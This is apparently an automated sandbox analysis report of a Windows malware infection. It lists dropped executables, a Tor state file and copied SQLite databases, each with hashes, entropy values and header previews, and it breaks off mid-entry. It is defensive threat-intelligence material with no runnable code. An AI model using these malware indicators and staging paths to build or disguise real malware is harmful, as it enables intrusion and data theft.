Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	714526
Entropy (8bit):	6.506163769097249
Encrypted:	false
SSDEEP:	12288:sRObekMSkfohrPUs37uzHnA6zg5cI5MpAHERDjrNyTeR0oUGOHtraxDExycH:uObekrkfohrP337uzHnA6cH+iHEOWUGu
MD5:	19265DF9EF1CD930F912D05E7DACFC44
SHA1:	2D01F0C7DAAC87020CC04B2FF39D57285C7F024F
SHA-256:	502694EF4A33044EA4B7F7D97BB68E310D8FB565416C04EBE3C4C9A6B6ACFA89
SHA-512:	458F73D2B6DF75AD699307E4C54E4EEA1C5B49C70F2EC973F84A0AF647629D8ECBE8F3F99692F08DFEF4BA57D7026CA2EA409A8E26A72FBE4EB2D6E6D450C37E
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d...........p............@..............................................@...............................%..................................................................................................................CODE....(c.......d.................. ..`DATA.................h..............@...BSS..................z...................idata...%.......&...z..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................H..............@..P........................................................................................................................................

C:\ProgramData\Drivers\csrss.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\76D5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2021376
Entropy (8bit):	7.91258925332053
Encrypted:	false
SSDEEP:	49152:nQCcNRNesmcy+R1ILb5yQSa+k38buZWQZ7AL4PP8O:nVcNRpy+cf5yQAihv7i4HJ
MD5:	F5404C44B8FB624AD16068D23D269886
SHA1:	CB5F72CEA1EC6BAA806AD12359BECC29F9D8EA90
SHA-256:	ACF231E2E45D787EC58F155B0D6EB302126558F6AACE15002A7F2C1CB653899D
SHA-512:	C2A27273644A6723C4EEDAE0601DD75C638F30A4844B1AC4297910FB331BD6EBFFAA126BEDD54F6CF2555C2E3B18006EC404574CF916566239204836696974F7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...K..c......................D......0............@...........................`......q..........................................d....._............................................................0...@............................................text............................... ..`.rdata...L.......N..................@..@.data.....B.........................@....rsrc........._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\N75Bitscore\N75Bitscore.exe

Download File

Process:	C:\Program Files (x86)\PRingTone\PRingTone.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2805749
Entropy (8bit):	6.230765768829497
Encrypted:	false
SSDEEP:	49152:UyPsRmik33OJaKFlgLzGwdVfWRm95ptW+PSJ9Xs+:UxRnMcFlgLzGwdFfW+PSLr
MD5:	9A0A8708381FC8255E8CCD3C9B9570E6
SHA1:	A84CA0D8CAB7B9B9C0BED25CA09E366DC493DFDC
SHA-256:	D7C3018571C05DAD7563F06449F6D58B06C7FAAB8B4EBD348873C1EFE698150C
SHA-512:	2C58AFD67AF9E16780E1E3681577D808714CECCDFFC2C4B82A27EAB6918826A05726E5E052AB5DDB30CC555FDE9244E4BACBD5C7629AE5429F5E2F87CA202DCC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y.mX..>X..>X..>7..>Y..>...>L..>7..>b..>:..>T..>X..>...>X..>K..>n>.>Y..>...>Y..>RichX..>........PE..L....t.e.................p...........5............@................................Ba+.....................................X........................................................................................................................text...b.......p.................. ..`.rdata...2.......@..................@..@.data...\|O.......0..................@....rsrc...............................@..@.ncell..............................`...........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\rc.dat

Download File

Process:	C:\Program Files (x86)\PRingTone\PRingTone.exe
File Type:	PGP encrypted data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:h:h
MD5:	9A7D487BABE66D58E339B9FFE02BA5D5
SHA1:	FD2F3568F44DF03CBEB9A832C7E62C9C3676BEFD
SHA-256:	97D9E77242B7286D9CD95210158D544B3CEEFC01C7238788D5FD55550041D035
SHA-512:	D86211FA2F477B069C8478CFFBD842F2CF3B9E4AC040E32A87BE39616DB88968D25E83307C2C175F9C99F3A6A93477F627F06B011A280A1AEF379B079A128474
Malicious:	false
Preview:	....

C:\ProgramData\resource.dat

Download File

Process:	C:\Program Files (x86)\PRingTone\PRingTone.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9069818137270764
Encrypted:	false
SSDEEP:	3:1k/GTQycTEvIgAnDTa3pkHil/:1rQy0EvIxPa3pkHit
MD5:	357ACA400DC2E1FC61FC5B8C66BA4975
SHA1:	35BD8E97F1FF7F55C3D1082C70AB99BDBBCDFD44
SHA-256:	F5832873187B52BE987AF2BDDB7E2FEA81E0605C6A9843020C375D1710CED212
SHA-512:	2CE616BC68801013EA59C59FD232822D59B68C30AB8701F802D0D686DF92CDB19B329A6FD2B3EAE2E91862F048D2BD7A35A2430C70F466F609A350745E88549C
Malicious:	false
Preview:	3e0f2500c0db57d92fa196d33e7a2b8f6ce30e1128f6a30e537a9ba072d59a73................................................................

C:\ProgramData\ts.dat

Download File

Process:	C:\Program Files (x86)\PRingTone\PRingTone.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qlAlll:qulll
MD5:	74606D9A8DD6C0527F07C2FC34988A6E
SHA1:	CB5AC960BF8D6EA19C82A134903D4301248CF946
SHA-256:	8C18A08C12725FD6E3C8489E783B47DF49B71CC9AA1B768BDE21CE0454B83AC6
SHA-512:	1C654EF01C7C0F942AE2F6FC400D0E932A68155FDB6EF362C58265028457B55A9CF338A544D21EF208802F6FDE16C268D9C2D6E7E2CB41E1324E7B61C6D2C780
Malicious:	false
Preview:	...e....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8FEE.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\8FEE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3094
Entropy (8bit):	5.33145931749415
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymTqdqlq7qqjqc85VD:Pq5qHwCYqh3qtI6eqzxP0atTqdqlq7qV
MD5:	2A56468A7C0F324A42EA599BF0511FAF
SHA1:	404B343A86EDEDF5B908D7359EB8AA957D1D4333
SHA-256:	6398E0BD46082BBC30008BC72A2BA092E0A1269052153D343AA40F935C59957C
SHA-512:	19B79181C40AA51C7ECEFCD4C9ED42D5BA19EA493AE99654D3A763EA9B21B1ABE5B5739AAC425E461609E1165BCEA749CFB997DE0D35303B4CF2A29BDEF30B17
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	5.236946495216897
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhm4ymNib0O0bihmCetmKg6CUXyhmimKgbxdB6hmjmKgz0JahmcmKgbR:YqHZ6T06McoEb0O0bicCewHDUXycLHbR
MD5:	5D20D9B3F928AC964E07C561FD8A3F42
SHA1:	B702BE149FCF94831A975F2CD06B2DFE020D9632
SHA-256:	59A4F22870D7A7DC3339917C89FF6AF09FA762AF39F0624338FDDFF631730492
SHA-512:	30E5F275FFB475A403439C3A4DCC05F3E12A6914D93F20EB38AF3240A7F693A455C25C005A3681AB39C89BFAD9AE66FAAE3874B987FAC48BB6A5439194FDCEDC
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":7763552,"LastSwitchedHighPart":31061488,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":4292730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4282730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4272730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":4262730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4252730848,"LastSwitchedHighPart":31061487,"Pr

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	5.354902188542171
Encrypted:	false
SSDEEP:	48:CWSU4y4RQmFoUeWmfgZ9tK8NPdMs7u1iMugeoaOUyu0lhV:CLHyIFKL3IZ2KlDOug801
MD5:	6D6DF1AC1274EC7DC7F5B30603DB8E03
SHA1:	9F363D2F99155B42B13A62A8DE8858554E1DABAB
SHA-256:	8B025FCFDAEEE6222A09F6D80926E94C2A51490A281FB4E6A255E8F656738C81
SHA-512:	F1B08A28E3131DCD0956F49C585FC4E2C2B3308DF45EDE9961F987EFDA5F0045EAE6B6AD3CABE466256ABF6105DA54170495979B20AD87149A94A463E734349F
Malicious:	false
Preview:	@...e...........................................................P................1]...E.....m.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\4KPV6A~1\state (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\76D5.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	209
Entropy (8bit):	4.749598115104226
Encrypted:	false
SSDEEP:	6:SbdWwxX/ivQbnXr87+QVe2vwR/Ep5fM8NUQz:bwxXavQbXr87HVBvwNCBz
MD5:	C447D67043D6C2DD2E3D4D6CA6837806
SHA1:	BF131F8B3D4F5A8FABC7BB38A38CBD14B36ACCBE
SHA-256:	D962BD4777D798053B72D21DFBBDA2113602D72ECD09ACD89D25FB2DD99C3449
SHA-512:	9B8C9245A94D5BED2280B4DEE5BB11A027E43498D598C4166A51C143A6D57EB2AB163EC4F169A56BB1267F6FFA9AC624566B5508C8E51FC0B0E0DC7ABB026146
Malicious:	false
Preview:	# Tor state file last generated on 2023-12-19 03:22:25 local time..# Other times below are in UTC..# You do not need to edit this file.....Dormant 0..LastWritten 2023-12-19 02:22:25..TorVersion Tor 0.4.4.9..

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\state.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\76D5.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	209
Entropy (8bit):	4.749598115104226
Encrypted:	false
SSDEEP:	6:SbdWwxX/ivQbnXr87+QVe2vwR/Ep5fM8NUQz:bwxXavQbXr87HVBvwNCBz
MD5:	C447D67043D6C2DD2E3D4D6CA6837806
SHA1:	BF131F8B3D4F5A8FABC7BB38A38CBD14B36ACCBE
SHA-256:	D962BD4777D798053B72D21DFBBDA2113602D72ECD09ACD89D25FB2DD99C3449
SHA-512:	9B8C9245A94D5BED2280B4DEE5BB11A027E43498D598C4166A51C143A6D57EB2AB163EC4F169A56BB1267F6FFA9AC624566B5508C8E51FC0B0E0DC7ABB026146
Malicious:	false
Preview:	# Tor state file last generated on 2023-12-19 03:22:25 local time..# Other times below are in UTC..# You do not need to edit this file.....Dormant 0..LastWritten 2023-12-19 02:22:25..TorVersion Tor 0.4.4.9..

C:\Users\user\AppData\Local\Temp\76D5.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2021376
Entropy (8bit):	7.91258925332053
Encrypted:	false
SSDEEP:	49152:nQCcNRNesmcy+R1ILb5yQSa+k38buZWQZ7AL4PP8O:nVcNRpy+cf5yQAihv7i4HJ
MD5:	F5404C44B8FB624AD16068D23D269886
SHA1:	CB5F72CEA1EC6BAA806AD12359BECC29F9D8EA90
SHA-256:	ACF231E2E45D787EC58F155B0D6EB302126558F6AACE15002A7F2C1CB653899D
SHA-512:	C2A27273644A6723C4EEDAE0601DD75C638F30A4844B1AC4297910FB331BD6EBFFAA126BEDD54F6CF2555C2E3B18006EC404574CF916566239204836696974F7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...K..c......................D......0............@...........................`......q..........................................d....._............................................................0...@............................................text............................... ..`.rdata...L.......N..................@..@.data.....B.........................@....rsrc........._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\826E.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	661559
Entropy (8bit):	7.136460273477256
Encrypted:	false
SSDEEP:	12288:dbdwf0lIJjHrOUs3xB73M9gBPWq2hQTW1x:dpwf0lIRHrbK93M9gBPYhQKj
MD5:	06A40B3DB1A45E814F1187AFABFA16F9
SHA1:	22D60DE60253C42288C8F2B835DEF29041D87848
SHA-256:	A8FA104FC4389E1EC282B3ABEAED94291CE23C4F4AA5686F61FA629FE4EACC30
SHA-512:	3D896BE79BBDC3C51DD3811BC7908679D13B078F572ED3272A4639B1104562BD863510349447BBDD8FE579A73DFD95FB3DDC14ACA81ADE14602FB00CCE554570
Malicious:	true
Preview:	MZ......................@.......................................varius nunc, quis consectetur quam rhoncus nec. Quisque pulvinar, lacus sit amet finibus mattis, augue nisi ullamcorper ante, eu euismod est ex vel enim. Nunc egestas eu nulla non tempor. Etiam rhoncus risus sed sapien vulputate, quis finibus sapien sodales. Duis sit amet sem dui. Cras consectetur eros in felis ultrices, at posuere neque placerat...Nunc consectetur cursus venenatis. In blandit facilisis ex, ut placerat neque. Cras at ipsum posuere, molestie leo sed, eleifend tortor. Aliquam tortor lacus, lacinia ac nunc vel, dictum ornare lacus. Aenean eu maximus mi. Aliquam eget facilisis nulla. Duis nec odio varius massa ullamcorper posuere. Nullam interdum dapibus semper. Curabitur vitae ultricies leo. Integer eget nisi ut odio tempor lobortis at quis ligula. Quisque sapien felis, tristique vitae lacus a, placerat molestie tellus. Pellentesque venenatis tortor pellentesque nisl rhoncus vulputate sit amet sed sem. Ut dui

C:\Users\user\AppData\Local\Temp\87A0.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2125824
Entropy (8bit):	7.821439552202875
Encrypted:	false
SSDEEP:	24576:RiPFGRg5VbhHxwwvIEhwBS9ZnnLMkABa+w3wM4is4SKh7yvrPlX/lBTzdX1FRrbB:RiPFGRExpyBQLKYPH8blX9B3FRrbw
MD5:	F1AB76296422629248F9387AE8225A07
SHA1:	B857D5395EBA2193209D1A66C2D4EFD383779B63
SHA-256:	579073FBCA9F20AAE9497F0CF3444998A24DEB3264303EF683EC6DFD03ED20ED
SHA-512:	CB7246333A8A51783CDADBEDA8D837C27AD74C86703DF84466DAB89C744B45FC7F48326209DEBBA23247F8EA2493B45973C3828B57EB94E2ECE3D723C18CE238
Malicious:	true
Preview:	MZ......................@.......................................,.mh..>h..>h..>../>...>s.o>..>s.[>...>.m<>...>...?...>...>...>h..>...>../>I..>..,>...>a.u>..>..m>...>...?j..>s.j>D..>v.r>w..>...?d..>OE.>8..>...?Q..>.o>>2..>h..>...>e..>...>h..>..>.o?>..>...?..>...?i..>...?..>...?...>Richh..>............................................................................................PE..L...D.)G...........!..........)..F............................................ .....................................(...........d.... .......................0...9..a...................................................\............................text...............................9..`.rdata..............................@..@.data...............................9#...code...............p..............@....rsrc........ .......................[.@.reloc..\|K...0...P... ..............@..B............................................................................................................................

C:\Users\user\AppData\Local\Temp\8FEE.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4264408
Entropy (8bit):	7.9738422835349585
Encrypted:	false
SSDEEP:	98304:mRkmfDHvoPv6HCuy65YoXCAzTetBpBc+/i5lF4/:mzfDHQP/96aezTePXc+/izF4/
MD5:	DD6115206647B6C92EED0C5B07528DFA
SHA1:	2ECFB7595F0DFC3B2DFE23CAA4CD6104CEDAB7FE
SHA-256:	3CF9921011DF790227807D75BCDF55D651B95497909F4AC51C1EBD9C9009F223
SHA-512:	87D094C9E6FC07CEB9A87E09811CB3F25F6812CB0053DDCEF5A3775DC19DA9448098CB7A140CAFB5CF1163BE0AC2DB9E7BC2812F70B192F330C2E5AFCDED18EB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....v...............0......j........m.. ........@.. ................................A...@.................................:...P.....................@.._.......................................................................................... ..... ...................... ..` .g..........................@..@ .....`......................@..B.idata... ..........................@....rsrc...............................@..@.themida..W..@.......t..............`....boot....>-...m..>-..t..............`..`........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\933A.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	488448
Entropy (8bit):	7.231716823926674
Encrypted:	false
SSDEEP:	12288:b85rEWbOH1UJd3opuBb0cTC/DI5xuMJGrSbMpuOF:0EeXJahcTC/pMJGzMO
MD5:	D4FB69194E51F4ADD8A18536536DAE1D
SHA1:	E0A963A532FF22DEE3A52FB1A7E361F153913B29
SHA-256:	BD168BBA8E98462DA1C4CB9651709E371D026A0C48C2FAFD2542246926AD4260
SHA-512:	389D60CE6A0E8130BDE12D2BD4DF075F3F705258DE7B82CCFA2DE7889A4C09BCF0E6D830A3F70621A7F73653969E03B70C556BDD63A68D683D8B619A988EB914
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......b....................zD......0.......@....@...........................I.................................................d.....G..............................A..............................0y..@............@...............................text...V(......................... ..`.rdata...L...@...N..................@..@.data.....B..........\|..............@....rsrc.........G.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AF9D.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.4619048925889695
Encrypted:	false
SSDEEP:	3072:9LDAc4ReZTGILbSOCCzNvF/YoyHmwMdYLwoyPecTsAXg5ejddu8HVZF7:9LUFUZvnSOCCzNvF/YowQxZ3zu8HVn7
MD5:	BE660C6932B361DEB87C71F2EA16E448
SHA1:	015F40BE62C9C94B8D45A344786AA1E458318637
SHA-256:	DF637F135A79AD735076D490AC09193AB8923CFB7150AD01EACF1AF3E5140A8D
SHA-512:	DA695896FEB26E3259A45D52440F32DF7BCEDA38A100490D121D78837B733766BCF1BD070FC7939152C35D23C134F21989DD80F02414074E65842A22B4456F12
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......b.................b...zD......0............@...........................F.................................................x.....D.............................................................0...@............................................text...V`.......b.................. ..`.rdata...M.......N...f..............@..@.data.....B.........................@....rsrc.........D.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C1FD.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4385672
Entropy (8bit):	7.9746993364696195
Encrypted:	false
SSDEEP:	98304:KCxHw/bQRSDHJPRBSJh2kX/7RA4ZdK9n4yLvIokLVESCFlA86CnyRM:KuwuSDHJPRkJhHVFD24yLQoiE77nEM
MD5:	21FCE61654F410F6DC86BD1985D0F97A
SHA1:	B314DADA6C7F2A1A846EE4E4180EB71C7B2CFD2C
SHA-256:	C88C77D876298DA71E74535C9DB062C52233D96801248F70C534C45B11C100A2
SHA-512:	2D7D6E9B2F21F0DC2D4988C2EE0D7D99E1B710BFD7578A4FFAD0B8A2016E30DC85F2D8BB9F52C5255442EA16F62A9091B1E9A37169CAC35FEB6A11B9AB0A5BFC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L....FDd..................@...D......0........@...@..................................<C.......................................@.x.....................B..............@.............................0.@.@.............@..............................text.....@.......@................. ..`.rdata...M....@..N....@.............@..@.data.....B...A.......@.............@....rsrc................A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D1F5.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D1F5.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D5C5.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6872767
Entropy (8bit):	7.999357514220237
Encrypted:	true
SSDEEP:	196608:Yink0v5+J8b3eS17nBx78HgErcX2aOZG7QJWF0F:YizvN3eS1jBx7zmdZ0Qv
MD5:	2CFFB0BE248E3FDFBCC5311A331F95EC
SHA1:	C073EDD44414307355B7BFCD539A343EC6FB00B3
SHA-256:	E5728AB6F838E5C5239FB54F5B0DA15A2F7398E45465BE7EF84F40109C5F2C9F
SHA-512:	893E69F70316FF967847C6117D508B4ABDCB921FCE9983531D6C43EAD3DCCBF730D04B74B60FEBCD1D287BEBDFDB6C51381BF917FEE8D20D34D1FF408CF981EF
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...t..e.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS.....L................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\D793.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D999.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DA94.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB60.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
